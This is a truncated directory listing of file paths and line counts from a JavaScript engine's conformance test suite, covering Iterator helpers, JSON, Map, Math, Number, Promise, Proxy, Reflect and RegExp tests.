-rw-r--r--js/src/tests/non262/Iterator/from/wrap-throw.js45
-rw-r--r--js/src/tests/non262/Iterator/iterator.js13
-rw-r--r--js/src/tests/non262/Iterator/length.js13
-rw-r--r--js/src/tests/non262/Iterator/name.js13
-rw-r--r--js/src/tests/non262/Iterator/proto.js17
-rw-r--r--js/src/tests/non262/Iterator/prototype/asIndexedPairs/asIndexedPairs.js15
-rw-r--r--js/src/tests/non262/Iterator/prototype/asIndexedPairs/length.js21
-rw-r--r--js/src/tests/non262/Iterator/prototype/asIndexedPairs/name.js19
-rw-r--r--js/src/tests/non262/Iterator/prototype/drop/drop-more-than-available.js37
-rw-r--r--js/src/tests/non262/Iterator/prototype/drop/drop.js26
-rw-r--r--js/src/tests/non262/Iterator/prototype/drop/length.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/drop/name.js19
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/check-fn-after-getting-iterator.js26
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/coerce-result-to-boolean.js23
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/descriptor.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/error-from-correct-realm.js16
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/fn-not-callable-throws.js15
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/fn-throws-close-iterator.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/length.js17
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/name.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/next-throws-iterator-not-closed.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/proxy.js44
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/return-true-if-all-match.js11
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/short-circuit-on-false.js14
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/this-not-iterator-throws.js9
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/value-throws-iterator-not-closed.js25
-rw-r--r--js/src/tests/non262/Iterator/prototype/filter/coerce-result-to-boolean.js16
-rw-r--r--js/src/tests/non262/Iterator/prototype/filter/filter.js14
-rw-r--r--js/src/tests/non262/Iterator/prototype/filter/length.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/filter/name.js19
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/check-fn-after-getting-iterator.js26
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/coerce-result-to-boolean.js27
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/descriptor.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/error-from-correct-realm.js16
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/fn-not-callable-throws.js15
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/fn-throws-close-iterator.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/length.js17
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/name.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/next-throws-iterator-not-closed.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/proxy.js44
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/return-undefined-if-none-match.js11
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/short-circuit-on-match.js14
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/this-not-iterator-throws.js9
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/value-throws-iterator-not-closed.js25
-rw-r--r--js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-complete-throws.js49
-rw-r--r--js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-next-throws.js45
-rw-r--r--js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-value-throws.js52
-rw-r--r--js/src/tests/non262/Iterator/prototype/flatMap/flatMap.js12
-rw-r--r--js/src/tests/non262/Iterator/prototype/flatMap/inner-empty-iterable.js38
-rw-r--r--js/src/tests/non262/Iterator/prototype/flatMap/inner-generator.js29
-rw-r--r--js/src/tests/non262/Iterator/prototype/flatMap/length.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/flatMap/name.js19
-rw-r--r--js/src/tests/non262/Iterator/prototype/flatMap/throw-when-inner-not-iterable.js64
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/check-fn-after-getting-iterator.js26
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/descriptor.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/error-from-correct-realm.js16
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/fn-not-callable-throws.js15
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/fn-throws-close-iterator.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/forEach.js11
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/length.js17
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/name.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/next-throws-iterator-not-closed.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/proxy.js44
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/this-not-iterator-throws.js9
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/value-throws-iterator-not-closed.js25
-rw-r--r--js/src/tests/non262/Iterator/prototype/generator-methods-throw-on-iterator-helpers.js16
-rw-r--r--js/src/tests/non262/Iterator/prototype/iterator-helper-methods-throw-on-generators.js14
-rw-r--r--js/src/tests/non262/Iterator/prototype/iterator-helpers-from-other-global.js64
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-from-other-global.js31
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-handle-empty-iterators.js40
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-interleaved.js62
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-closed-on-call-throws.js44
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-closed-on-yield-throws.js45
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-not-closed-on-next-throws.js44
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-not-closed-on-value-throws.js48
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-returns-done-generator-finishes.js27
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-multiple-return-close-iterator-once.js60
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-multiple-throw-close-iterator-once.js62
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-pass-through-lastValue.js29
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-pass-value-through-chain.js33
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-proxy-accesses.js70
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-reentry-not-close-iterator.js43
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-return-closes-iterator.js58
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-return-new-iterator-result.js39
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-throw-closes-iterator-before-next.js50
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-next-non-callable.js34
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-non-callable.js38
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-non-iterator.js34
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-throw-next-done-throws.js47
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-throw-next-not-object.js44
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-throw-on-reentry.js18
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/call-next-on-iterator-while-iterating.js24
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/clobber-symbol.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/interleaved-map-calls.js23
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/length.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/map.js28
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/mapper-not-callable-throw.js33
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/mutate-iterator-after-done.js23
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/mutate-iterator.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/name.js19
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/output-at-generator-end.js26
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/pass-lastValue-to-next.js43
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion-in-iteratorValue.js55
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion-in-yield.js62
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion.js54
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/proxy-accesses.js94
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/reenter-map-generator-from-mapper.js15
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/this-not-iterator-throw.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/this-value-array-throws.js14
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/throw-when-iterator-returns-non-object.js24
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/values-pass-through-chained-maps-to-next.js43
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/accumulator-set-to-initial-value.js9
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/check-fn-after-getting-iterator.js26
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/descriptor.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/empty-iterator-without-initial-value-throws.js7
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/error-from-correct-realm.js16
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/iterator-empty-return-initial-value.js9
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/iterator-next-return-non-object-throws.js30
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/left-associative.js7
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/length.js17
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/name.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/next-throws-iterator-not-closed.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/no-initial-value-set-accumulator-to-first-value.js9
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/proxy.js44
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/reduce.js9
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/reducer-not-callable-throws.js20
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/reducer-throws-iterator-closed.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/this-not-iterator-throws.js9
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/value-throws-iterator-not-closed.js25
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/check-fn-after-getting-iterator.js26
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/coerce-result-to-boolean.js23
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/descriptor.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/error-from-correct-realm.js16
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/fn-not-callable-throws.js15
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/fn-throws-close-iterator.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/length.js17
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/name.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/next-throws-iterator-not-closed.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/proxy.js44
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/return-false-if-none-match.js11
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/short-circuit-on-true.js14
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/this-not-iterator-throws.js9
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/value-throws-iterator-not-closed.js25
-rw-r--r--js/src/tests/non262/Iterator/prototype/take-drop-throw-eagerly-on-negative.js30
-rw-r--r--js/src/tests/non262/Iterator/prototype/take-drop-throw-eagerly-on-non-integer.js32
-rw-r--r--js/src/tests/non262/Iterator/prototype/take/close-iterator-when-none-remaining.js40
-rw-r--r--js/src/tests/non262/Iterator/prototype/take/length.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/take/name.js19
-rw-r--r--js/src/tests/non262/Iterator/prototype/take/take-more-than-available.js52
-rw-r--r--js/src/tests/non262/Iterator/prototype/take/take.js26
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/create-in-current-realm.js14
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/descriptor.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/iterator-empty.js10
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/length.js17
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/name.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/next-throws.js14
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/proxy.js44
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/this-not-iterator-throws.js8
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/toArray.js17
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/value-throws-iterator-not-closed.js25
-rw-r--r--js/src/tests/non262/JSON/browser.js0
-rw-r--r--js/src/tests/non262/JSON/cyclic-stringify-unrelated.js39
-rw-r--r--js/src/tests/non262/JSON/cyclic-stringify.js100
-rw-r--r--js/src/tests/non262/JSON/immutable-reviver.js22
-rw-r--r--js/src/tests/non262/JSON/immutable.js13
-rw-r--r--js/src/tests/non262/JSON/parse-arguments.js30
-rw-r--r--js/src/tests/non262/JSON/parse-array-gc.js34
-rw-r--r--js/src/tests/non262/JSON/parse-crockford-01.js121
-rw-r--r--js/src/tests/non262/JSON/parse-mega-huge-array.js28
-rw-r--r--js/src/tests/non262/JSON/parse-number-syntax.js32
-rw-r--r--js/src/tests/non262/JSON/parse-octal-syntax-error.js8
-rw-r--r--js/src/tests/non262/JSON/parse-primitives.js62
-rw-r--r--js/src/tests/non262/JSON/parse-reviver-array-delete.js89
-rw-r--r--js/src/tests/non262/JSON/parse-reviver.js45
-rw-r--r--js/src/tests/non262/JSON/parse-syntax-errors-01.js13
-rw-r--r--js/src/tests/non262/JSON/parse-syntax-errors-02.js43
-rw-r--r--js/src/tests/non262/JSON/parse-syntax-errors-03.js55
-rw-r--r--js/src/tests/non262/JSON/parse.js175
-rw-r--r--js/src/tests/non262/JSON/regress-458959.js29
-rw-r--r--js/src/tests/non262/JSON/regress-459293.js25
-rw-r--r--js/src/tests/non262/JSON/shell.js110
-rw-r--r--js/src/tests/non262/JSON/small-codepoints.js16
-rw-r--r--js/src/tests/non262/JSON/stringify-boxed-primitives.js127
-rw-r--r--js/src/tests/non262/JSON/stringify-call-replacer-once.js34
-rw-r--r--js/src/tests/non262/JSON/stringify-call-toJSON-once.js32
-rw-r--r--js/src/tests/non262/JSON/stringify-dropping-elements.js20
-rw-r--r--js/src/tests/non262/JSON/stringify-gap.js61
-rw-r--r--js/src/tests/non262/JSON/stringify-ignore-noncallable-toJSON.js28
-rw-r--r--js/src/tests/non262/JSON/stringify-large-replacer-array.js26
-rw-r--r--js/src/tests/non262/JSON/stringify-missing-arguments.js22
-rw-r--r--js/src/tests/non262/JSON/stringify-nonarray-noncallable-replacer.js41
-rw-r--r--js/src/tests/non262/JSON/stringify-primitives.js39
-rw-r--r--js/src/tests/non262/JSON/stringify-replacer-array-boxed-elements.js60
-rw-r--r--js/src/tests/non262/JSON/stringify-replacer-array-duplicated-element.js69
-rw-r--r--js/src/tests/non262/JSON/stringify-replacer-array-edgecase-jsid-elements.js77
-rw-r--r--js/src/tests/non262/JSON/stringify-replacer-array-hijinks.js59
-rw-r--r--js/src/tests/non262/JSON/stringify-replacer-array-skipped-element.js62
-rw-r--r--js/src/tests/non262/JSON/stringify-replacer-array-trailing-holes.js49
-rw-r--r--js/src/tests/non262/JSON/stringify-replacer-with-array-indexes.js56
-rw-r--r--js/src/tests/non262/JSON/stringify-replacer.js155
-rw-r--r--js/src/tests/non262/JSON/stringify-special-escapes.js277
-rw-r--r--js/src/tests/non262/JSON/stringify-toJSON-arguments.js34
-rw-r--r--js/src/tests/non262/JSON/stringify.js87
-rw-r--r--js/src/tests/non262/JSON/trailing-comma.js32
-rw-r--r--js/src/tests/non262/Map/NaN-as-key.js55
-rw-r--r--js/src/tests/non262/Map/browser.js0
-rw-r--r--js/src/tests/non262/Map/constructor-iterator-close.js293
-rw-r--r--js/src/tests/non262/Map/constructor-iterator-primitive.js34
-rw-r--r--js/src/tests/non262/Map/forEach-selfhosted-behavior.js51
-rw-r--r--js/src/tests/non262/Map/getter-name.js10
-rw-r--r--js/src/tests/non262/Map/iterable.js28
-rw-r--r--js/src/tests/non262/Map/iterator-thisv-error.js24
-rw-r--r--js/src/tests/non262/Map/record-tuple.js42
-rw-r--r--js/src/tests/non262/Map/shell.js0
-rw-r--r--js/src/tests/non262/Map/symbols.js33
-rw-r--r--js/src/tests/non262/Math/15.8.1.js97
-rw-r--r--js/src/tests/non262/Math/15.8.2.13.js350
-rw-r--r--js/src/tests/non262/Math/15.8.2.16.js96
-rw-r--r--js/src/tests/non262/Math/15.8.2.17.js181
-rw-r--r--js/src/tests/non262/Math/15.8.2.18.js111
-rw-r--r--js/src/tests/non262/Math/15.8.2.2.js120
-rw-r--r--js/src/tests/non262/Math/15.8.2.3.js122
-rw-r--r--js/src/tests/non262/Math/15.8.2.4.js121
-rw-r--r--js/src/tests/non262/Math/15.8.2.5.js209
-rw-r--r--js/src/tests/non262/Math/15.8.2.7.js247
-rw-r--r--js/src/tests/non262/Math/15.8.2.8.js84
-rw-r--r--js/src/tests/non262/Math/20.2.2.ToNumber.js112
-rw-r--r--js/src/tests/non262/Math/Pow.js117
-rw-r--r--js/src/tests/non262/Math/acosh-approx.js283
-rw-r--r--js/src/tests/non262/Math/acosh-exact.js26
-rw-r--r--js/src/tests/non262/Math/asinh-approx.js303
-rw-r--r--js/src/tests/non262/Math/asinh-exact.js19
-rw-r--r--js/src/tests/non262/Math/atanh-approx.js280
-rw-r--r--js/src/tests/non262/Math/atanh-exact.js35
-rw-r--r--js/src/tests/non262/Math/browser.js0
-rw-r--r--js/src/tests/non262/Math/cbrt-approx.js17
-rw-r--r--js/src/tests/non262/Math/cbrt-exact.js19
-rw-r--r--js/src/tests/non262/Math/clz32.js40
-rw-r--r--js/src/tests/non262/Math/cosh-approx.js276
-rw-r--r--js/src/tests/non262/Math/cosh-exact.js19
-rw-r--r--js/src/tests/non262/Math/exp-exact.js29
-rw-r--r--js/src/tests/non262/Math/expm1-approx.js62
-rw-r--r--js/src/tests/non262/Math/expm1-exact.js20
-rw-r--r--js/src/tests/non262/Math/expm1-monotonicity.js94
-rw-r--r--js/src/tests/non262/Math/fround.js81
-rw-r--r--js/src/tests/non262/Math/log10-approx.js9
-rw-r--r--js/src/tests/non262/Math/log10-exact.js30
-rw-r--r--js/src/tests/non262/Math/log1p-approx.js20
-rw-r--r--js/src/tests/non262/Math/log1p-exact.js29
-rw-r--r--js/src/tests/non262/Math/log2-approx.js8
-rw-r--r--js/src/tests/non262/Math/log2-exact.js30
-rw-r--r--js/src/tests/non262/Math/pow-approx-pow10.js51
-rw-r--r--js/src/tests/non262/Math/pow-approx.js568
-rw-r--r--js/src/tests/non262/Math/shell.js74
-rw-r--r--js/src/tests/non262/Math/sign.js34
-rw-r--r--js/src/tests/non262/Math/sinh-approx.js297
-rw-r--r--js/src/tests/non262/Math/sinh-exact.js19
-rw-r--r--js/src/tests/non262/Math/tanh-approx.js282
-rw-r--r--js/src/tests/non262/Math/tanh-exact.js19
-rw-r--r--js/src/tests/non262/Math/trunc.js50
-rw-r--r--js/src/tests/non262/Number/0x-without-following-hexdigits.js30
-rw-r--r--js/src/tests/non262/Number/15.7.3.7-EPSILON.js24
-rw-r--r--js/src/tests/non262/Number/15.7.4.2.js31
-rw-r--r--js/src/tests/non262/Number/20.1.2.10-MIN_SAFE_INTEGER.js26
-rw-r--r--js/src/tests/non262/Number/20.1.2.6-MAX_SAFE_INTEGER.js26
-rw-r--r--js/src/tests/non262/Number/20.1.3.2-toExponential.js47
-rw-r--r--js/src/tests/non262/Number/20.1.3.2-toPrecision.js47
-rw-r--r--js/src/tests/non262/Number/20.1.3.3-toFixed.js17
-rw-r--r--js/src/tests/non262/Number/ToNumber.js26
-rw-r--r--js/src/tests/non262/Number/browser.js0
-rw-r--r--js/src/tests/non262/Number/conversion-invalid-precision.js46
-rw-r--r--js/src/tests/non262/Number/defaultvalue.js170
-rw-r--r--js/src/tests/non262/Number/isSafeInteger-01.js40
-rw-r--r--js/src/tests/non262/Number/numericSeparator.js10
-rw-r--r--js/src/tests/non262/Number/parseFloat-01.js27
-rw-r--r--js/src/tests/non262/Number/parseInt-01.js172
-rw-r--r--js/src/tests/non262/Number/parseInt-default-to-decimal.js30
-rw-r--r--js/src/tests/non262/Number/regress-442242-01.js26
-rw-r--r--js/src/tests/non262/Number/shell.js0
-rw-r--r--js/src/tests/non262/Number/toExponential-values.js118
-rw-r--r--js/src/tests/non262/Number/toFixed-values.js118
-rw-r--r--js/src/tests/non262/Number/toPrecision-values.js100
-rw-r--r--js/src/tests/non262/Number/toString-radix-handling.js37
-rw-r--r--js/src/tests/non262/Number/tonumber-string-hex.js38
-rw-r--r--js/src/tests/non262/PrivateName/browser.js0
-rw-r--r--js/src/tests/non262/PrivateName/constructor-args.js23
-rw-r--r--js/src/tests/non262/PrivateName/error-locations.js34
-rw-r--r--js/src/tests/non262/PrivateName/error-outside-class.js13
-rw-r--r--js/src/tests/non262/PrivateName/home-object-when-preceded-by-computed-key.js34
-rw-r--r--js/src/tests/non262/PrivateName/illegal-delete.js94
-rw-r--r--js/src/tests/non262/PrivateName/illegal-in-class-context.js32
-rw-r--r--js/src/tests/non262/PrivateName/illegal-in-identifier-context.js45
-rw-r--r--js/src/tests/non262/PrivateName/illegal-in-object-context.js14
-rw-r--r--js/src/tests/non262/PrivateName/lexical-presence.js55
-rw-r--r--js/src/tests/non262/PrivateName/modify-non-extensible.js75
-rw-r--r--js/src/tests/non262/PrivateName/names.js30
-rw-r--r--js/src/tests/non262/PrivateName/nested-class-name-used.js32
-rw-r--r--js/src/tests/non262/PrivateName/not-iterable.js39
-rw-r--r--js/src/tests/non262/PrivateName/parse-utf8-non-ascii-identifier.js22
-rw-r--r--js/src/tests/non262/PrivateName/prototype-proxy.js32
-rw-r--r--js/src/tests/non262/PrivateName/proxy-1.js21
-rw-r--r--js/src/tests/non262/PrivateName/proxy-ccw.js66
-rw-r--r--js/src/tests/non262/PrivateName/proxy-init-set.js74
-rw-r--r--js/src/tests/non262/PrivateName/read-private-eval.js13
-rw-r--r--js/src/tests/non262/PrivateName/shell.js0
-rw-r--r--js/src/tests/non262/PrivateName/unicode-names.js11
-rw-r--r--js/src/tests/non262/Promise/allSettled.js86
-rw-r--r--js/src/tests/non262/Promise/any-stack-overflow.js14
-rw-r--r--js/src/tests/non262/Promise/any-stack.js69
-rw-r--r--js/src/tests/non262/Promise/any.js76
-rw-r--r--js/src/tests/non262/Promise/browser.js0
-rw-r--r--js/src/tests/non262/Promise/bug-1287334.js7
-rw-r--r--js/src/tests/non262/Promise/bug-1288382.js8
-rw-r--r--js/src/tests/non262/Promise/bug-1289040.js8
-rw-r--r--js/src/tests/non262/Promise/bug-1792196.js18
-rw-r--r--js/src/tests/non262/Promise/dependent-promises.js36
-rw-r--r--js/src/tests/non262/Promise/enqueue-promise-reactions.js38
-rw-r--r--js/src/tests/non262/Promise/for-of-iterator-uses-getv.js25
-rw-r--r--js/src/tests/non262/Promise/get-wait-for-all-promise.js60
-rw-r--r--js/src/tests/non262/Promise/iterator-close.js234
-rw-r--r--js/src/tests/non262/Promise/iterator-primitive.js28
-rw-r--r--js/src/tests/non262/Promise/methods-non-enumerable.js4
-rw-r--r--js/src/tests/non262/Promise/promise-all.js25
-rw-r--r--js/src/tests/non262/Promise/promise-basics.js96
-rw-r--r--js/src/tests/non262/Promise/promise-rejection-tracking-optimized.js34
-rw-r--r--js/src/tests/non262/Promise/promise-rejection-tracking.js31
-rw-r--r--js/src/tests/non262/Promise/promise-species.js8
-rw-r--r--js/src/tests/non262/Promise/promise-subclassing.js62
-rw-r--r--js/src/tests/non262/Promise/self-resolve.js40
-rw-r--r--js/src/tests/non262/Promise/shell.js0
-rw-r--r--js/src/tests/non262/Proxy/browser.js0
-rw-r--r--js/src/tests/non262/Proxy/define-writable-as-non-writable.js19
-rw-r--r--js/src/tests/non262/Proxy/delete-non-extensible.js18
-rw-r--r--js/src/tests/non262/Proxy/getPrototypeOf.js285
-rw-r--r--js/src/tests/non262/Proxy/global-receiver.js35
-rw-r--r--js/src/tests/non262/Proxy/hasInstance.js13
-rw-r--r--js/src/tests/non262/Proxy/json-stringify-replacer-array-revocable-proxy.js39
-rw-r--r--js/src/tests/non262/Proxy/ownkeys-allowed-types.js20
-rw-r--r--js/src/tests/non262/Proxy/ownkeys-linear.js70
-rw-r--r--js/src/tests/non262/Proxy/ownkeys-trap-duplicates.js33
-rw-r--r--js/src/tests/non262/Proxy/proxy-__proto__.js59
-rw-r--r--js/src/tests/non262/Proxy/proxy-constructNonObject.js18
-rw-r--r--js/src/tests/non262/Proxy/proxy-for-in.js37
-rw-r--r--js/src/tests/non262/Proxy/proxy-no-receiver-overwrite.js23
-rw-r--r--js/src/tests/non262/Proxy/proxy-proto-lazy-props.js61
-rw-r--r--js/src/tests/non262/Proxy/proxy-with-revoked-arguments.js53
-rw-r--r--js/src/tests/non262/Proxy/regress-bug1037770.js7
-rw-r--r--js/src/tests/non262/Proxy/regress-bug1062349.js31
-rw-r--r--js/src/tests/non262/Proxy/regress-bug950407.js7
-rw-r--r--js/src/tests/non262/Proxy/report-writable-as-non-writable.js20
-rw-r--r--js/src/tests/non262/Proxy/revocable-proxy-prototype.js40
-rw-r--r--js/src/tests/non262/Proxy/revoke-as-side-effect.js73
-rw-r--r--js/src/tests/non262/Proxy/revoke-no-name.js2
-rw-r--r--js/src/tests/non262/Proxy/revoked-get-function-realm-typeerror.js119
-rw-r--r--js/src/tests/non262/Proxy/setPrototypeOf.js258
-rw-r--r--js/src/tests/non262/Proxy/shell.js0
-rw-r--r--js/src/tests/non262/Proxy/trap-null.js103
-rw-r--r--js/src/tests/non262/ReadableStream/basic-pull.js37
-rw-r--r--js/src/tests/non262/ReadableStream/basic-push.js53
-rw-r--r--js/src/tests/non262/ReadableStream/bug-1501502.js25
-rw-r--r--js/src/tests/non262/ReadableStream/bug-1549768.js18
-rw-r--r--js/src/tests/non262/ReadableStream/closed-is-handled.js27
-rw-r--r--js/src/tests/non262/ReadableStream/constructor-default.js27
-rw-r--r--js/src/tests/non262/ReadableStream/readable-stream-globals.js367
-rw-r--r--js/src/tests/non262/ReadableStream/shell.js30
-rw-r--r--js/src/tests/non262/ReadableStream/subclassing.js111
-rw-r--r--js/src/tests/non262/ReadableStream/tee-start.js11
-rw-r--r--js/src/tests/non262/Record/browser.js0
-rw-r--r--js/src/tests/non262/Record/constructor.js37
-rw-r--r--js/src/tests/non262/Record/cross-realm.js9
-rw-r--r--js/src/tests/non262/Record/enumeration.js54
-rw-r--r--js/src/tests/non262/Record/equality.js23
-rw-r--r--js/src/tests/non262/Record/json.js13
-rw-r--r--js/src/tests/non262/Record/literal.js41
-rw-r--r--js/src/tests/non262/Record/properties.js20
-rw-r--r--js/src/tests/non262/Record/property-descriptors.js89
-rw-r--r--js/src/tests/non262/Record/shell.js0
-rw-r--r--js/src/tests/non262/Record/syntax.js27
-rw-r--r--js/src/tests/non262/Record/wrapper.js25
-rw-r--r--js/src/tests/non262/Reflect/apply.js130
-rw-r--r--js/src/tests/non262/Reflect/argumentsList.js164
-rw-r--r--js/src/tests/non262/Reflect/browser.js0
-rw-r--r--js/src/tests/non262/Reflect/construct.js107
-rw-r--r--js/src/tests/non262/Reflect/defineProperty.js164
-rw-r--r--js/src/tests/non262/Reflect/deleteProperty.js80
-rw-r--r--js/src/tests/non262/Reflect/get.js72
-rw-r--r--js/src/tests/non262/Reflect/getOwnPropertyDescriptor.js21
-rw-r--r--js/src/tests/non262/Reflect/getPrototypeOf.js17
-rw-r--r--js/src/tests/non262/Reflect/has.js41
-rw-r--r--js/src/tests/non262/Reflect/isExtensible.js57
-rw-r--r--js/src/tests/non262/Reflect/ownKeys.js66
-rw-r--r--js/src/tests/non262/Reflect/preventExtensions.js56
-rw-r--r--js/src/tests/non262/Reflect/propertyKeys.js84
-rw-r--r--js/src/tests/non262/Reflect/set.js280
-rw-r--r--js/src/tests/non262/Reflect/setPrototypeOf.js72
-rw-r--r--js/src/tests/non262/Reflect/shell.js9
-rw-r--r--js/src/tests/non262/Reflect/surfaces.js59
-rw-r--r--js/src/tests/non262/Reflect/target.js44
-rw-r--r--js/src/tests/non262/RegExp/15.10.5-01.js21
-rw-r--r--js/src/tests/non262/RegExp/15.10.6.2-2.js292
-rw-r--r--js/src/tests/non262/RegExp/15.10.7.5-01.js71
-rw-r--r--js/src/tests/non262/RegExp/15.5.4.11.js498
-rw-r--r--js/src/tests/non262/RegExp/7.8.5-01.js35
-rw-r--r--js/src/tests/non262/RegExp/RegExpExec-exec-type-check.js12
